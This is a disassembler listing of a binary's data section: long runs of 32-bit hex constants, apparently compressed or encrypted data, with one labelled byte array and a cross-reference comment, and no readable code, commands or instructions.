dd 40080842h, 4C829428h, 54C45485h, 0A3B88121h, 75688820h
dd 1AD104BCh, 0C85490CCh, 0B20761A0h, 27B5DACh, 0E357D600h
dd 18D87CF3h, 0A8DB8A19h, 0A63A33CEh, 9384C9Dh, 21B3971Ah
dd 3A7DB04h, 24A84034h, 4B444BC8h, 1F2AEE05h, 0A0704680h
dd 0B82099B3h, 43790022h, 24FB7E89h, 1602D1AFh, 7164C1B1h
dd 0AE28612Dh, 3006D801h, 9E017AC8h, 64FF6002h, 58A01725h
dd 0E532008h, 0FCFE9F24h, 0A623D080h, 0FDCE49h, 95C88D71h
dd 58EBB05Dh, 3611FB03h, 0E0DE6CD0h, 1CFDC775h, 9864E84Ah
dd 70BF485Eh, 7633600h, 4D95F25Ah, 75370081h, 1053FFA0h
dd 78753FD6h, 48587949h, 65D805D8h, 0C0208781h, 60FE05DEh
dd 18AB88C2h, 80AE19Eh, 80387829h, 0C2C4CCA4h, 811A0CC0h
dd 0CCAA25h, 0DD3A4EB4h, 3D7C26A4h, 7688E088h, 47C1A47h
dd 0EDFD10C0h, 0A91EE7E3h, 1F61484h, 939A9570h, 281EE090h
dd 8DBA2B03h, 82601330h, 80132Dh, 4C96C165h, 0E1E5F0D7h
dd 0EC83EA48h, 98103BCEh, 9007FA0h, 4EC36687h, 4200822Fh
dd 2A715461h, 0B06852h, 871F28CAh, 0F56A9BADh, 0E00002EEh
dd 0E9660871h, 0E690109h, 0F142A4FAh, 9AAF1440h, 86003D39h
dd 0A7730D80h, 739D7048h, 20C40182h, 4605061h, 1A26ECA9h
dd 4FD5C8A0h, 78F5E305h, 0A40118E7h, 2BCE3CC4h, 0E0B7A89Fh
dd 7976C800h, 0A36045E7h, 0A703125h, 0D48CFC41h, 28C01026h
dd 0B3F25D9Eh, 14D813E5h, 434E0CABh, 0F83BA8C0h, 2890485Fh
dd 0E5519CFAh, 0EB0940A4h, 9314F1BCh, 6A4409Dh, 0E968706Bh
dd 90C4F820h, 0C48BE808h, 0D8AE18h, 26986EE0h, 2F81E61h
dd 8061486h, 0C238823Fh, 2D0C0E13h, 36020FCh, 0C6C01100h
dd 0B42288F8h, 0C69867h, 0F4B26882h, 64E0EC16h, 853E45E4h
dd 6E581DBDh, 355EC801h, 0FC60A90Dh
db 0FCh
byte_4E5345 db 5, 44h, 0A1h ; DATA XREF: ___:004447F8o
; ___:00444D44o
dd 0FA54C1h, 1BBD8190h, 0B6E4FB1Ch, 0E4CD0802h, 0C6582BE1h
dd 7CECA9B0h, 34955C70h, 88B8FEB3h, 0A048B2F4h, 0D608078h
dd 0C0735819h, 3A56FB10h, 0B737C5F7h, 526220E1h, 2E0C69B3h
dd 0C1B404FEh, 92D08A4Ch, 88323EE9h, 309C420Bh, 301A8A84h
dd 44205EC9h, 1501A19Bh, 5A34F0DAh, 6C607002h, 1C782481h
dd 902848B0h, 78D22416h, 25DBB501h, 8820A7D6h, 0C19484Ah
dd 5269DD0Eh, 82A13B60h, 8B007B83h, 0B0FA17F4h, 0CEFEE8h
dd 5169DA50h, 2CD6AC59h, 28B0795Ch, 849ABCF9h, 0B4009091h
dd 45917ED0h, 0CCF79D4h, 0EDA870C1h, 9B009CC8h, 3CDBACAEh
dd 0C0EE421Dh, 89E34CA6h, 0FB007C02h, 9CA00EFCh, 30705E79h
dd 0EE38550Bh, 6064CD64h, 0B240AE68h, 42FC80D0h, 0A0C674A0h
dd 0A0B8477Ah, 25E3CD0Bh, 91C89054h, 40230348h, 4A88A337h
dd 0A16282E0h, 0FB034F77h, 0F8C902E0h, 52C0DF44h, 29C9705h
dd 197260F5h, 0F860F033h, 0C090D6E3h, 88ADE124h, 0A9EC7884h
dd 702784D0h, 18A86471h, 6538D1AAh, 0C2B0446Ch, 7468FEF4h
dd 0C424E1ABh, 5F9B3482h, 0A4EB28h, 42B3FB10h, 255C78BDh
dd 0C60DE4A5h, 0E402E04Ch, 2F4509Eh, 85F722C3h, 5862AD14h
dd 0CBB1F040h, 70ABF506h, 3D58DD42h, 24F86238h, 8548C77Eh
dd 167DD8F4h, 783803EDh, 0C801F00Ah, 0E171D12Fh, 57CC9F8Ch
dd 70CC0C1Ch, 68B1F864h, 78F3B406h, 90A0283Ah, 6BC4B058h
dd 7C0A217Ah, 0FCAF03D4h, 2298CF17h, 132CFEEEh, 0C200B8F1h
dd 6309F58Ch, 0D8E16164h, 0AC7CAE1Ah, 2593BCE1h, 9203F80Eh
dd 95E6B020h, 1384A449h, 5A508A70h, 0B4C0C138h, 0A0815A58h
dd 70AD8834h, 99556AE1h, 922C2678h, 0A5E04F03h, 34999109h
dd 0B530511Bh, 6FE001ACh, 0A07DF822h, 6A1A8BBCh, 4F4A684h
dd 0C27B0B60h, 50C0C510h, 0F45D9078h, 0E0905168h, 98C00CCDh
dd 2F6A8B48h, 82013E2Dh, 78A21E1Ah, 703D6C6Ch, 0E17861C3h
dd 0D1814864h, 0CED699Ah, 6C8470B8h, 23163201h, 11551A96h
dd 3C781834h, 0CDD2B64h, 3CDD8000h, 41831832h, 6DE1AC09h
dd 0F76C9989h, 301E043h, 0FF325B80h, 0D88564A0h, 0C0A0C360h
dd 0FD501BD8h, 0C8A42C50h, 2F48D26Bh, 0D018B68Ch, 3064E7F1h
dd 0AD3051ACh, 53000F9Ch, 623566AFh, 5CD8F8A5h, 0A451F53Ch
dd 0CD12F427h, 0DAFCD803h, 0F78890Bh, 0A4189408h, 0C1D4114h
dd 24BAD0DCh, 0F742420h, 0DB9D4F21h, 0D620B834h, 8134713Eh
dd 0EA3C65E0h, 0E2FCEDD3h, 7F090CEh, 2F714692h, 0C06C54D9h
dd 10FBA905h, 20D4354Ch, 3D8000E8h, 874E4CD9h, 0FA09258Ch
dd 80DFB936h, 31EDF8BDh, 1270186Ah, 7284D8CBh, 0E50FDA79h
dd 20CA38FBh, 78F6B202h, 50C162F7h, 0E4427CE8h, 0ED007050h
dd 86281D34h, 1868329Fh, 28924C75h, 80004697h, 30E3D565h
dd 60246477h, 278F8EDh, 0FA30631Fh, 6682107Dh, 402AF00Bh
dd 162708F2h, 0E68804E8h, 0B06EE160h, 57010C92h, 58B49FE3h
dd 8BF44A7Bh, 0A90004Fh, 91D0F7ADh, 732E1093h, 700F629Dh
dd 52387A37h, 0ED781674h, 3E7044CEh, 6F01007Eh, 9BC05DDh
dd 7C4CC34Bh, 0D798A007h, 0F4F4CF63h, 5DDA1A82h, 23B54C9h
dd 25EB003Dh, 0F82EE1FBh, 0A2423496h, 86A8611Eh, 0AF001C22h
dd 829A35CBh, 2D600C1Ah, 0FFF09148h, 0E2E1242Ch, 3DC0474h
dd 9DECC0A5h, 1D091942h, 2770C978h, 0CE541E74h, 0BE1A4B0h
dd 3B0AB939h, 0F5830500h, 0DC0021EFh, 5B101E0h, 1502F260h
dd 0E0AE7557h, 0DB1A9904h, 2C2085EBh, 2D2478A0h, 36806013h
dd 0AFF9CA97h, 91613070h, 0FE998528h, 0C57239h, 6B75C834h
dd 241A3C47h, 1CCC37C3h, 49140163h, 7048EBAFh, 3807AE74h
dd 8802E74Eh, 8043C85h, 7CC1C2AFh, 0C822257Ch, 5A64E804h
dd 0FC821307h, 399C499Eh, 0E2F10035h, 0E400D821h, 0A3659670h
dd 0FA1104B0h, 0D8DD7378h, 0B15C8768h, 403F8FCCh, 9E30E663h
dd 2E933564h, 47140050h, 7188B819h, 13A44150h, 0E1DA2901h
dd 0F8A87560h, 8B89D838h, 9825025Dh, 0E6CCE091h, 30F90FA3h
dd 9E0A3C7Bh, 1A930208h, 0B481C3D8h, 8C5742F2h, 489CD7B0h
dd 44030E4h, 0F96B02D1h, 25D3B60Eh, 16E38210h, 0E88C9103h
dd 2AF868E8h, 7CD4BA52h, 9AE30ECBh, 60D9D01Ah, 0BB64C096h
dd 0C3506860h, 62D4EC8h, 72E7F492h, 9EF0C02Bh, 710ABA00h
dd 2878C831h, 19800FCh, 0C93522FBh, 524CC44Dh, 41191433h
dd 7DE32ED4h, 1C1AB304h, 4414A0h, 0AD9897F4h, 0C8AA3B10h
dd 0C4C98000h, 0D1630212h, 568780CDh, 0A6648438h, 0FD808CC2h
dd 0CF1A4233h, 0FE48C21Bh, 0C864AFD2h, 0E6A89F18h, 961BD0C8h
dd 8D0B8074h, 0C1CAF3D4h, 84DF1100h, 0F7C077CEh, 0F6F900A2h
dd 5E58AD51h, 2D98CAC2h, 55F3D00h, 7419AA96h, 6790F12h
dd 0FD4DDFFCh, 9EB0E028h, 185C6Fh, 15AB145Fh, 0D1A52C3Ah
dd 0EAB4023Eh, 9D41FA24h, 19DDE044h, 7AD63800h, 0B049C706h
dd 731803ECh, 54ED46AFh, 0C45001B9h, 4E189A39h, 0E188CDF5h
dd 8A70696h, 786E5977h, 3214FA00h, 0C7CD2910h, 0F310748h
dd 4FC3DF19h, 0D50700DDh, 18C5004h, 6FDC5B14h, 77A70108h
dd 0D0056370h, 8ABC080h, 0F0E25641h, 0F585339h, 40A3D21Ah
dd 0B1A552CDh, 0FB7F3CCFh, 6304430h, 460C9FC5h, 10108A19h
dd 27990EF1h, 620339B0h, 2805D797h, 4490C7AEh, 383E8C1Eh
dd 0A218EFBDh, 9004DC66h, 0C6E83A0h, 2E686253h, 992AAF10h
dd 7718A852h, 8A28B378h, 0F11F2819h, 932C149Ch, 770CACCDh
dd 0C420D317h, 0ED444200h, 9DC723C3h, 1F3CA046h, 7F0C8019h
dd 810B4100h, 14639F6Fh, 0B118CE3Bh, 71FFAAE0h, 603077E7h
dd 3A7F38C5h, 0DD906Fh, 0CDC5906h, 575B1809h, 747E0F06h
dd 1428D684h, 0F8CDB294h, 5C51813Dh, 33191058h, 77B8E330h
dd 76D4788h, 0F7BE5Ch, 7DF24699h, 1141F6h, 0BF4A6980h
dd 7F371238h, 316FA63Ch, 0E246519Fh, 5441C049h, 0E188A5F3h
dd 0B3002382h, 4EAB2A9Dh, 6DDF032Ch, 0AE8616F9h, 63FA70E8h
dd 28575436h, 0F5440468h, 5FB504h, 19984DCFh, 4CA14912h
dd 0A002FC40h, 82A65760h, 21451085h, 0B2ACACh, 0E0DF82D9h
dd 5CFC0391h, 3DC2194Ah, 6051A803h, 0E76C63h, 322C7F28h
dd 5392D59Dh, 47EC4402h, 814B954Eh, 86186F08h, 1941608Eh
dd 78D88CC6h, 2EE87EFCh, 63102C74h, 0D112F97Bh, 0F2B00034h
dd 0E2A6D524h, 731F41E2h, 0A801E09Fh, 0A522CF9Ch, 90BA08D0h
dd 4E714078h, 733E9303h, 52CA7018h, 0F4067460h, 0E09DEF77h
dd 0D609E110h, 62B8CF71h, 7B10286Ch, 40FB2440h, 9C887A6Eh
dd 8281804Eh, 0EAFE8E00h, 0B668DF21h, 5745070Dh, 8DC5A01h
dd 46831941h, 30179443h, 62D0D3A8h, 48C0C3B5h, 4480499Ch
dd 0F7083019h, 3BDF0FA8h, 0DEB2B507h, 77F1D811h, 0B081725Ch
dd 0DF2402CCh, 83C2206h, 1BF6049Eh, 78C8E0CFh, 10A239E6h
dd 90FE3440h, 686FB10Ah, 9812BCF0h, 137A9C20h, 5F613FAh
dd 6088588Ch, 0A440F777h, 2CD7878h, 637997F8h, 0E84607DCh
dd 0C03152E2h, 0E18C30DAh, 4D5D3107h, 20AC7178h, 90C98984h
dd 0C4281050h, 90D1F846h, 0D26F1874h, 49F01897h, 849C634Ch
dd 0CD04C17Fh, 77B89C22h, 592F4F18h, 75F021A8h, 9048DED5h
dd 90F03E5h, 7C38BE99h, 906BFA30h, 65D409ECh, 0DC198580h
dd 987F086Dh, 749D7DE0h, 4B94001Ch, 0D06BC730h, 403B7D87h
dd 4501FFC3h, 63DDA748h
dd 18262082h, 0FC0D10h, 3AAD5486h, 7B9E421Dh, 1D87566h
dd 0E765F977h, 0DCEF23FAh, 0C0C10B27h, 0B8042939h, 612419D4h
dd 2ACD9820h, 4062E0A5h, 770210C1h, 4648015h, 0C9942h
dd 82499E4Dh, 94A0C09Ah, 0A228C659h, 2F07A081h, 92E8088Fh
dd 48536C83h, 0E226D5F1h, 0F89600E0h, 0BC23004h, 0C3E1F901h
dd 4691C71Fh, 4017C411h, 0FCE2BED0h, 0C708D762h, 0C210844Ah
dd 0E085C8C2h, 0F03A3886h, 77FD2427h, 1354230Eh, 41840087h
dd 0A4625D67h, 0A7181067h, 0FD8148C4h, 2886188Ch, 0A9B456E0h
dd 922C5098h, 9D0E7C86h, 132DE7F0h, 0C1C344h, 47E59640h
dd 30199CF0h, 0F34023F1h, 8E1D3B9Bh, 1401C469h, 0EC6FDF45h
dd 184994C0h, 887387B5h, 0FA00536Bh, 61EB980Dh, 0FD386FF7h
dd 846E0824h, 0DC72192Ch, 85F47740h, 2E237831h, 204C6F29h
dd 32EF07B8h, 62744C8Fh, 0B4A09519h, 20C3ECF9h, 4187F700h
dd 0FA0C4B96h, 5C190011h, 4FC78AA4h, 2A0690BEh, 6FB663E8h
dd 5AF50170h, 82DEF303h, 0C065F0E6h, 0E0A818C1h, 8C4CA473h
dd 0A5231351h, 0B420117Bh, 4F8E6F83h, 679F280Fh, 0A51506F9h
dd 266D00D9h, 188BD42h, 550DC75h, 0CF00A808h, 760F9D64h
dd 183DE2h, 8198E72Ch, 74F9C385h, 0A640D260h, 0E11671ACh
dd 40738860h, 0B30089F5h, 0DDA382E0h, 3AFBE51Ch, 0E881EA23h
dd 0A04DC79Bh, 6236E406h, 0CE4E74Dh, 0B0632919h, 45B00155h
dd 1A7710A0h, 705080E6h, 0FB66512Eh, 0E8E77B17h, 2A45E2CFh
dd 6A884C63h, 28D4F87Fh, 3835E5D8h, 386DC420h, 1A02888Dh
dd 0D0997C5Fh, 0E4CF0069h, 0F500B0A5h, 7FB33785h, 1E28C239h
dd 0C074DFFDh, 81438FEAh, 0A703C16Eh, 1441301Bh, 0EF0BC080h
dd 0D4710C51h, 6398AB11h, 4249E5Dh, 4DE4E0A9h, 1DCFAC8Ch
dd 6419947Dh, 4C9931Ch, 0C415AAC4h, 260CB60h, 26C3EEF7h
dd 206C6643h, 960C1191h, 0C122C019h, 3FFB2971h, 2C28F4h
dd 1C219299h, 0EC0F3070h, 0CD6A3C01h, 77D83F66h, 0A51C447h
dd 9420A5E8h, 4A8A269h, 0EC88FF08h, 2CA83277h, 5C50C170h
dd 11498B00h, 6FB76A30h, 70AB5CEBh, 0BF10E580h, 6D3901EFh
dd 190850DCh, 9876EC33h, 0B08BA020h, 63A60C92h, 0E1B0B360h
dd 6E77880Ah, 8200D4EDh, 6BDC7F0Fh, 44B339C9h, 3E868180h
dd 37DD8BE6h, 3FBC0350h, 0A3E711C0h, 1F6F340h, 5FA9969Ch
dd 61730F9Eh, 0E82AC240h, 143A5700h, 33EF40h, 20F97853h
dd 0C8BCD01h, 890B2479h, 0FFC381E3h, 0C83DD26h, 8F1C873Fh
dd 0E0D5F75Ch, 3F0D18EDh, 0EA01066Dh, 2C8343E9h, 3CCFC3EEh
dd 3D1BA195h, 38983358h, 40E90631h, 30281E68h, 0AEEC6F4Fh
dd 0C4D53EFFh, 67B180Bh, 0EED0890Ah, 0E036019h, 34FFC229h
dd 9858243Dh, 5C1643F7h, 52530366h, 0E280DAB2h, 5A1CE3EFh
dd 248B1C1Ch, 31F3474h, 7233DFE4h, 3EB0B351h, 8C185229h
dd 243C3572h, 0C7EC48A4h, 331806A5h, 40CCE92Ah, 56314E2Fh
dd 0DBD96787h, 2804D99Eh, 31B48219h, 8308C12Eh, 876C02ECh
dd 7AF7D624h, 4EC1BE9h, 0E0984689h, 18A0BF57h, 5F00F801h
dd 0F3BE5653h, 25C918h, 0F4F6814Eh, 0BB2B2E30h, 0EF69E301h
dd 4690E97Eh, 0CB803681h, 0E8C3FE83h, 14C039AEh, 3649CB9h
dd 60DEF46Bh, 21CE9B48h, 80F7616Ah, 3D3AD554h, 0CC6832Eh
dd 0DE04E901h, 0F3C58BE2h, 0DA417561h, 0CF015FF9h, 0C9535CE8h
dd 240EC0DBh, 98F3050h, 0C0812CE9h, 0D0F74820h, 0BE011505h
dd 0C2010B3Fh, 965C048Bh, 28144833h, 8A0D066Dh, 0F642DB44h
dd 6606D366h, 0A0FD7C9Ch, 25C11884h, 4B30F66h, 0D27C2988h
dd 0AD86A320h, 0FFDB7451h, 121D77EBh, 75CC562Ch, 0A0522CECh
dd 1B7DC4h, 8768627Ch, 5A9D83E4h, 0FEFA0132h, 8B3849D3h
dd 0C66178BFh, 26E78957h, 0CC67C21h, 20CD3C87h, 89482AB3h
dd 48B92A02h, 5159CD1Eh, 81130258h, 4FA507C5h, 0F9296F96h
dd 2A08CC08h, 0B2E91033h, 1B413B82h, 24BAE13Dh, 0C7F5897h
dd 445F4EB6h, 6ED4EED8h, 42EB181Fh, 0D081481h, 4AE22E06h
dd 0B0107C29h, 540C8493h, 3455D45Fh, 5D96E589h, 2C62A06Eh
dd 45AE8Ch, 0C31125B9h, 0AA49013Dh, 2803D289h, 26EE80C6h
dd 32517E66h, 5327FC4h, 0A48629AAh, 85BB1428h, 9457E984h
dd 81D61FE3h, 0D359669Dh, 8CF05114h, 836402D1h, 0D102B6FCh
dd 0CF24E434h, 4D3509EBh, 4C805342h, 2F5731C8h, 5B62E912h
dd 3510D024h, 722C109Ah, 6318533Bh, 0E8D10C3Dh, 3C67A9FAh
dd 0CBD35D0Eh, 0BA0C0655h, 0D01F17E6h, 63055824h, 0D51A5C6Ah
dd 4A90085h, 64F00B1Ch, 93E75A73h, 85B1504Ah, 0C96F5991h
dd 0E17ADBD3h, 0B5423189h, 75B8A333h, 5A163BFEh, 4089B413h
dd 0AC0BA73h, 13FE8A8h, 0C63100D0h, 6E6C158h, 0CEE1E34Eh
dd 887F1E9h, 8987D9F7h, 6A423B00h, 17C58C7h, 68E9590Dh
dd 81E45249h, 6510ECAh, 0F2C01D1Ah, 21663590h, 7400C2F8h
dd 4A2DB93Eh, 0C558E8E9h, 8D3F732h, 890F46AFh, 20EBC5F0h
dd 74257114h, 0FE08BF91h, 90B2993h, 711EC81h, 509B2189h
dd 44E9540Ah, 55182765h, 2585C00Ch, 0DA46CAC6h, 202B2486h
dd 1C1961FEh, 0FC07EBC1h, 32A28A9Ah, 54529C82h, 44A89B82h
dd 0BA683E90h, 0A2571F69h, 606A569h, 31400C52h, 403CF8ACh
dd 0B2A3292Fh, 7C05E898h, 18C35512h, 0B05DC049h, 3768526Ch
dd 0F85D5691h, 5321408h, 845BF930h, 89854A28h, 0D0BD02F0h
dd 0ED404F44h, 1AD31B80h, 0F123B828h, 5AB10014h, 0C12951B8h
dd 88FCAF1h, 0DD34A8BEh, 0D06B636h, 5FEE681Ah, 50598075h
dd 30E9D888h, 0EB590994h, 0C0482523h, 119D1009h, 0D35B5E15h
dd 7C0F44D3h, 9D3CC4Eh, 40F40444h, 0C60101F3h, 4E75BD55h
dd 0EEE11D79h, 77B09347h, 0B139717Bh, 0F6E96108h, 272B3430h
dd 630B4C07h, 0C5C3CD89h, 0BD180E50h, 42CF07C2h, 13A43E49h
dd 37718766h, 0C7C1575Eh, 0A929A08h, 1088337Eh, 0EF337D72h
dd 0F3080606h, 46DDDC3Bh, 0BAD4D298h, 0C801015Eh, 4248902Dh
dd 74615933h, 0E9093632h, 243882D0h, 0ACA63A31h, 284D37A8h
dd 0AEE8180h, 75347C7Bh, 0F021E279h, 0D129B8C4h, 6697A923h
dd 0BF0B125Fh, 828CA908h, 91400F59h, 0CF5D513Fh, 0E6523CACh
dd 0E64D3859h, 1C474841h, 57387E75h, 1194C48h, 74CA4A36h
dd 0A821E7C1h, 0BB0048D9h, 14004124h, 81DBF752h, 245647E3h
dd 10BA75A8h, 0EB881C05h, 374C189Eh, 48B4124Ch, 0FB34D265h
dd 56357Eh, 4B28687Dh, 5D0054B3h, 6D84BB53h, 7215CD3h
dd 0B8505BDDh, 2C24080h, 5098C529h, 38BFED06h, 380C7BD0h
dd 0D602B4C1h, 2C8BEA89h, 0C202C7E5h, 61C50D30h, 1528F729h
dd 35D80074h, 0CF365F0h, 3106CD2Dh, 0C70127CAh, 1DEF0162h
dd 5E329A40h, 5D60DE83h, 5C805B45h, 298A3468h, 0B8A000C3h
dd 17637D99h, 8001A190h, 0E93EB23Ah, 5F02160Bh, 0D4F811ECh
dd 7DAEA2BAh, 9CF63833h, 8007B1C0h, 58282860h, 582C0ECBh
dd 36CC3E74h, 7F328725h, 0F24FB80Ch, 1A203B0Fh, 1E8D6479h
dd 241709Dh, 0C8C7303h, 5B41D828h, 681743A4h, 5830406Dh
dd 0E60B753h, 0F9885150h, 0D2E9CC42h, 8790BE6Ah, 0AD8015A3h
dd 60E79951h, 73135268h, 0BCE94B0Dh, 21623AEBh, 4BD78B16h
dd 0B202EF74h, 0BD005E30h, 2C3E0D64h, 0B1A5013Ah, 4835DADh
dd 88ED2382h, 0E9046412h, 5A07060Ch, 0F801CE04h, 4221B151h
dd 29517AAEh, 67100491h
dd 928130CDh, 24DC1528h, 88EB0141h, 0E90C0385h, 28885BB1h
dd 49F5AD3h, 0B5515B66h, 64BAC7E4h, 0C65F0E57h, 0F8878032h
dd 90DAB2FFh, 994EA57Eh, 5131BA33h, 9A2836E4h, 60971C6Fh
dd 3D741DEFh, 98982B99h, 0EAC116F0h, 0E4A2EDB8h, 756CF4C2h
dd 44A972F7h, 0F46855CEh, 51041034h, 0CBC05954h, 0D817E3Ah
dd 0B99E910h, 0B65F2445h, 0F720D519h, 9007D9BEh, 5AF0880Dh
dd 2E0C007h, 90214F0Ch, 90E7E8D0h, 0A3483403h, 0B2442E3Dh
dd 81BB98A8h, 560B06B8h, 8E291287h, 8EE6B50h, 0FF200B05h
dd 6B08B820h, 9492F85Bh, 21ACB90Ah, 8887A69Bh, 0B62E53AFh
dd 5717B2ABh, 5A5F3922h, 0C330244Eh, 0CDC11264h, 0E90D8BC1h
dd 96A9AD84h, 0EE281E23h, 8C039606h, 0C51D4CABh, 0AC036601h
dd 5DEB0110h, 89875248h, 0BE00246Ah, 7D600F9Ch, 157B8B10h
dd 0BE6227E9h, 0E7F2F720h, 2F13A8F9h, 2550E83Dh, 542C0E17h
dd 0CC3250E2h, 77298140h, 5D4E24F9h, 84E74239h, 5F5881A0h
dd 42121325h, 0FF063F2Dh, 48501CAh, 3B2E60EAh, 727834Ah
dd 5594C0A4h, 1D602A19h, 0BB596E0Ch, 0C0527D31h, 0B865C7FAh
dd 0F6FE5E6Bh, 344307A2h, 0FC68DB13h, 10A4DF87h, 952DE0B1h
dd 0C4EF4FD6h, 20887173h, 38224282h, 0E5F032E6h, 0C0AC4358h
dd 4F529EBAh, 57513F22h, 0F3BD095h, 0FD015D4Ch, 0E9624323h
dd 0E555A64Fh, 2EF0983Bh, 1E412D0Eh, 952FA86Bh, 0BD00F9DFh
dd 12207BAFh, 810FDDF7h, 0E08455F5h, 0E9EE89EDh, 3B8B9C87h
dd 15AD680h, 8C055EF3h, 73E3301Eh, 0F208A12Eh, 68813953h
dd 70206109h, 0C393645Bh, 4130D69h, 12F728D6h, 554E0642h
dd 48743715h, 4E925655h, 1047BBC7h, 834354EEh, 80E43738h
dd 8BD989CDh, 52763A90h, 0A1E9E20Ch, 38C55F07h, 583D695Ch
dd 87642BA6h, 0EE07E6C1h, 8480356Eh, 0E9DEF777h, 99712227h
dd 0D5E830B3h, 5480A1CAh, 0CD4CC765h, 26584CC3h, 1F08A106h
dd 400E6C18h, 0C0287B74h, 7E56AAE5h, 64CDA03Dh, 8530F3ABh
dd 995F49FDh, 49D35324h, 4230DF02h, 0CA9CA40Eh, 5A8CB5F2h
dd 443B877Eh, 0F740002Ah, 36C135D0h, 50A04C5h, 82EF724Eh
dd 1B4A2F98h, 9A4E9164h, 4860E12h, 39E1008Eh, 814F7AFEh
dd 3213A0CFh, 0DE0B7C88h, 35839079h, 13050062h, 22A8F781h
dd 4F71021Dh, 0F1D0E919h, 2E202850h, 5B0E40E6h, 4E5C000h
dd 5098CD80h, 28B23CB4h, 0C58058BCh, 0E0B353A7h, 3FDD44E9h
dd 0E50891D2h, 63BE0112h, 0E8375E23h, 0F5C25F4Ah, 0C05A66D0h
dd 0A0CF2C65h, 0A92A5668h, 0E2DD5289h, 8F595338h, 5DEA0F73h
dd 0FAA9D021h, 3C338461h, 801A181Fh, 0F0F801ABh, 9349C2Dh
dd 0CF2FFB89h, 14D36C46h, 4E8FBA02h, 0E0426550h, 241BB82Dh
dd 34D73D22h, 4BF08257h, 0F73E7258h, 0E05A96D7h, 7CEEC491h
dd 494ECA05h, 4A8793EFh, 605A0670h, 5401377Ch, 276CC510h
dd 6F2AF90Ch, 0D16E12A1h, 93E290D1h, 7E05D1C1h, 0E9A73E09h
dd 8B9F0F4Ch, 0C2211C6Fh, 7A68E9h, 2C7B5A2Dh, 0BE4C912Eh
dd 370ED993h, 99E63541h, 92414009h, 2202E157h, 0BF0ED70Dh
dd 80CC403Bh, 7C77041Fh, 0C703E3C1h, 10C1882h, 0E7D220D0h
dd 0D33261CAh, 0E902248Eh, 0EBB11B6Ch, 969CA3Eh, 2DF2982h
dd 551587h, 0FEA6F380h, 0EB3ECB75h, 5486BBE8h, 0B50FB9B3h
dd 653E055Bh, 0BBCC63B4h, 525F0953h, 0C4C0BD68h, 4F4DC4E9h
dd 0AA2826B2h, 5B1724C9h, 0E6192F87h, 44D24F49h, 1EC8D448h
dd 7F13689Eh, 8D21C964h, 0C241D729h, 5802697Ah, 0FD93C2C6h
dd 1841E905h, 5DBB9298h, 9650AE6Ch, 5ACB0FEh, 28E8B252h
dd 3A282D5h, 99BDA6DBh, 85DB2113h, 8F7E9FB1h, 10D93D1Bh
dd 800559DDh, 5D2823C3h, 681677A1h, 4E8E21Bh, 28E1B66Eh
dd 1AB786F3h, 0BAE77277h, 95E98930h, 509C244Ah, 0AD085F87h
dd 0FC416683h, 11BF8000h, 0C140D27Bh, 1C054CE7h, 4F622205h
dd 0ECF1011Ah, 6001F020h, 0DBF4E309h, 0FB682677h, 5F24081Ch
dd 44D8750Bh, 2DD194ECh, 0B3513405h, 59CF1220h, 2EE9752Ch
dd 0C1FAE76Eh, 2C5A1A68h, 5B548DB8h, 0B6B49628h, 0C4D14C04h
dd 0C5F44869h, 2B714C1Eh, 930631CDh, 2CD55C0Dh, 0C7B91B04h
dd 0E4F18003h, 96EEB1C1h, 0A40C0110h, 2E9CCE52h, 25DE9F06h
dd 0D1021FF8h, 26E94132h, 884A5278h, 80159FF8h, 811EF729h
dd 2DC743EFh, 0F8955E58h, 729D8AC1h, 22D536Dh, 0D0AF3A18h
dd 77A200B2h, 6D256FC2h, 2C7AE406h, 5A88C382h, 0A4763410h
dd 27400D75h, 0B8ED0381h, 0C111C861h, 41F61EB5h, 0B119C912h
dd 2C672C29h, 5A96630Dh, 5602B705h, 0A180F2D5h, 585385CEh
dd 0D814274Bh, 17B1B930h, 9889ACE4h, 0BD0732ACh, 0C2E42CC3h
dd 67B812A0h, 0FBDB246Eh, 30483B0Bh, 30965D5Eh, 0A7D30849h
dd 0BD004AA6h, 0C058E688h, 0FE031CEEh, 0ECE98C6h, 80FAD008h
dd 0E9126FF2h, 1A5F0CABh, 82565D49h, 11AE74Ah, 0E850E2D1h
dd 16175FBEh, 1F1A0E4Ch, 9029C004h, 72590B22h, 5278C14Eh
dd 92C670E7h, 5EF04EC4h, 2224A282h, 18C0FA01h, 2C997491h
dd 0DE7912B3h, 0A2958D2h, 8F00824h, 8B220E45h, 1EB76817h
dd 1150AF8Bh, 70621246h, 9495144Ch, 90590840h, 2EB8495h
dd 68C8B70Fh, 0A0660408h, 26BEE915h, 0C65510C5h, 0B50627Ah
dd 0DF61C288h, 0DB627860h, 59D7B54Eh, 845613FEh, 7F61A0CFh
dd 50781668h, 65C0BF3Ch, 0C2510B33h, 50033FFFh, 6005E092h
dd 0AE3E3ACEh, 2036144Ch, 16B43808h, 3C4F0D19h, 595E84ABh
dd 3096BDE9h, 3B5C7A79h, 0A9D83C88h, 0DFBF714Fh, 0E572A9C5h
dd 1D01BA0Dh, 7D782961h, 0E9124746h, 0B4B6843Dh, 0C01C0BD0h
dd 797840Fh, 76AE022Dh, 0FFB9606Bh, 5C012F4Bh, 0D0B41DBBh
dd 3FC5E9A3h, 451755A8h, 6E844002h, 0B1DCC38h, 7CCD101h
dd 7E86B2DDh, 125F4FD3h, 68FA8031h, 7D99480Dh, 8B16E7BEh
dd 0AF3CC56Bh, 3340E51Ch, 0D06D931h, 0D8CC785Ch, 0B8478F0Dh
dd 6168BC6Dh, 811023E9h, 0CFA9EFB7h, 0FDF902BDh, 9C552AF4h
dd 0C31495DCh, 39807240h, 0C59D08F5h, 1ED8233h, 2D90D5F6h
dd 0F7FA32B7h, 0FD289207h, 0E99F535Bh, 989B0766h, 3A0F66ABh
dd 34A95456h, 2AEF42F5h, 0C14C0652h, 0A2D42D84h, 91A800Fh
dd 6481F59h, 18225A49h, 3CCEB7E9h, 0E548C145h, 0DBF50147h
dd 29138722h, 52008E39h, 3167308Ch, 1935BD8h, 26EE91Fh
dd 0DAF75987h, 4569DC82h, 0B3227AEh, 0DAE914E0h, 6765B2AAh
dd 3357298Fh, 41621B04h, 1DCF5E0Eh, 0E49F2017h, 677BA57Ah
dd 1018122h, 842D5FF9h, 0EC6AC365h, 7A005C8h, 969E30E9h
dd 737D6805h, 267D01B2h, 970EC442h, 0EB2209D3h, 3A57CB83h
dd 0C5FDB125h, 0C9E90B43h, 65041EA9h, 0AB5017h, 0CB8054B3h
dd 0B8D3F6D6h, 39E9193Bh, 8A2D2CF7h, 0EC5660C6h, 680A8390h
dd 0A649057Fh, 232B4B7Fh, 0CF88B565h, 0AD561406h, 5176D107h
